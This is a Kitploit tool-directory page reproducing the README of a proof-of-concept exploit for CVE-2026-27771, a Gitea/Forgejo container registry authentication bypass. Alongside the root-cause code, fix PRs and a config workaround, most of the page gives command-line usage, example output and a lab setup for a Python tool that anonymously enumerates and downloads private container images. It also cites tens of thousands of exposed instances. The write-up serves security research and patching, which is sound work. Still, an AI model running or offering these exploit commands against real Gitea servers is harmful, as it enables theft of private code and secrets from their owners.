Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-27771 — CVE-2026-27771 - Gitea/Forgejo Container Registry Auth Bypass Exploit PoC - Pull private container images without authentication | Kitploit
Tools/GitHubGitHub/portbuster1337/cve-2026-27771
Authentication & AuthorizationContainer SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubportbuster1337/cve-2026-27771

CVE-2026-27771

CVE-2026-27771 - Gitea/Forgejo Container Registry Auth Bypass Exploit PoC - Pull private container images without authentication

View Repository
1862 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-27771 — Gitea Container Registry Auth Bypass

CVSS: N/A (unpublished)
Affects: Gitea < 1.26.2 (all versions with OCI container registry)
Also affects: Forgejo (confirmed by NoScope)
Discovered by: NoScope
Fixed in: Gitea v1.26.2 (May 20, 2026)

Disclaimer: This proof-of-concept is provided for educational and authorized security research purposes only. Unauthorized access to computer systems is illegal. The authors are not responsible for any misuse of this code. Only test against systems you own or have explicit permission to test.

Summary

Unauthenticated remote attackers can pull private container images from Gitea instances. The OCI Distribution Spec API endpoints (/v2/<name>/manifests/<ref>, /v2/<name>/blobs/<digest>) serve content to ghost/anonymous users (UserID: -1) without checking the container package owner's visibility (private/limited/public).

NoScope identified ~31,750+ internet-facing instances across 30+ countries. The flaw went undetected for ~4 years.

Root Cause

The vulnerability is in the ReqContainerAccess middleware (routers/api/packages/container/container.go):

root@kitploit:~
// v1.25.4 — vulnerable
func ReqContainerAccess(ctx *context.Context) {
    if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
        apiUnauthorizedError(ctx)
    }
}

This only checks:

  1. Is ctx.Doer nil? (unauthenticated request with no token at all)
  2. Is RequireSignInViewStrict enabled AND is the user a ghost?

It does not check the package owner's visibility setting (VisibleTypePublic, VisibleTypeLimited, VisibleTypePrivate). A ghost user (UserID: -1) with an empty scope passes straight through and can access any container package.

The /v2/token endpoint (Authenticate function) grants anonymous tokens without credentials when RequireSignInViewStrict is false.

Fix (PR #37290 + PR #37610)

Two fixes landed in 1.26.2:

  1. PR #37290 — Conditional Basic realm header in apiUnauthorizedError — stops sending Basic realm on public instances to avoid confusing Docker clients, and per-owner visibility check in the auth challenge.

  2. PR #37610 — Package visibility labels + Composer source permission check — adds the underlying permission model for packages. Without these labels, there was no way to differentiate private/internal/public packages in the permission check path.

Workaround

root@kitploit:~
[service]
REQUIRE_SIGNIN_VIEW = true

This blocks all anonymous access (including public repos), which closes the exploit path. However, the underlying permission model is still broken — any authenticated user can still access all packages. Upgrade to 1.26.2+ for the real fix.

Exploit PoC

Prerequisites

  • Python 3.8+
  • Target Gitea instance < 1.26.2 with OCI container registry enabled (v1.17.0+)

Usage

root@kitploit:~
python3 CVE-2026-27771-exploit.py scan <url>                       # Discover repos/tags
python3 CVE-2026-27771-exploit.py scan <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py pull <url>                        # Pull all images
python3 CVE-2026-27771-exploit.py pull <url> --repo owner/image     # Pull specific repo
python3 CVE-2026-27771-exploit.py pull <url> --dry-run               # Show what would be pulled
python3 CVE-2026-27771-exploit.py pull <url> --token <sha1> --username <user>
python3 CVE-2026-27771-exploit.py register <url> --username u --password p --email [email protected]

Examples

root@kitploit:~
# Scan a vulnerable instance
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com

# Pull all private container images (anonymous)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com

# Pull with personal access token (for REQUIRE_SIGNIN_VIEW instances)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
  --token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser

# Auto-register on instances without captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
  --username myuser --password mypass --email [email protected]

What the exploit does

  1. Pre-flight: Checks version, /v2/ endpoint, detects registration availability, obtains anonymous token or exchanges PAT for JWT
  2. Enumerate: List all container repositories via /v2/_catalog (returns ALL repos — public and private — due to broken visibility)
  3. Pull: For each repo, list tags, fetch the OCI manifest, resolve multi-arch images, download all blob layers
  4. Extract: Automatically extracts gzip-compressed tar layers into pulled_<repo>/extracted/

Token handling

  • Anonymous: If REQUIRE_SIGNIN_VIEW=false, gets a ghost token with no credentials
  • PAT (SHA1): If --token is a 40-char hex string, auto-exchanges it for an OCI JWT via Basic auth
  • JWT: If --token contains dots, uses it directly as a Bearer token

Example output

root@kitploit:~
[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)

[*] Container repositories: 3
    acme/production-app: tags=['latest', 'v2.1.0']
    acme/internal-db: tags=['latest', 'v1.3.0']
    team-xyz/secret-ml-model: tags=['v0.9.2']

  [acme/production-app]
  Tags: ['latest']
    └─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
      [1/12] sha256_a1b2c3... (28.4 MB)
      ...
      manifests saved
      extracted 39862 files to pulled_acme_production-app/extracted

Reproducing

Setup a test environment

root@kitploit:~
# 1. Deploy Gitea 1.25.x with Docker (vulnerable version)
docker run -d --name gitea-vuln -p 3000:3000 \
  -e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
  gitea/gitea:1.25.4

# 2. Create a user and push a private Docker image
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest

# 3. Run the exploit (no credentials)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000

# The exploit will find testuser/secret-app and download all layers.
# Files will be in pulled_testuser_secret-app/extracted/

Verify the fix

root@kitploit:~
# Upgrade to patched version
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
  gitea/gitea:1.26.2

# Anonymous token should be denied (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Expected: "Version >= 1.26.2 (patched)"

References

  • https://noscope.com/blog/gitea-instances-exposing-private-container
  • https://blog.gitea.com/release-of-1.26.2/
  • https://github.com/go-gitea/gitea/pull/37290
  • https://github.com/go-gitea/gitea/pull/37610
  • https://github.com/go-gitea/gitea/security/advisories
Download Tool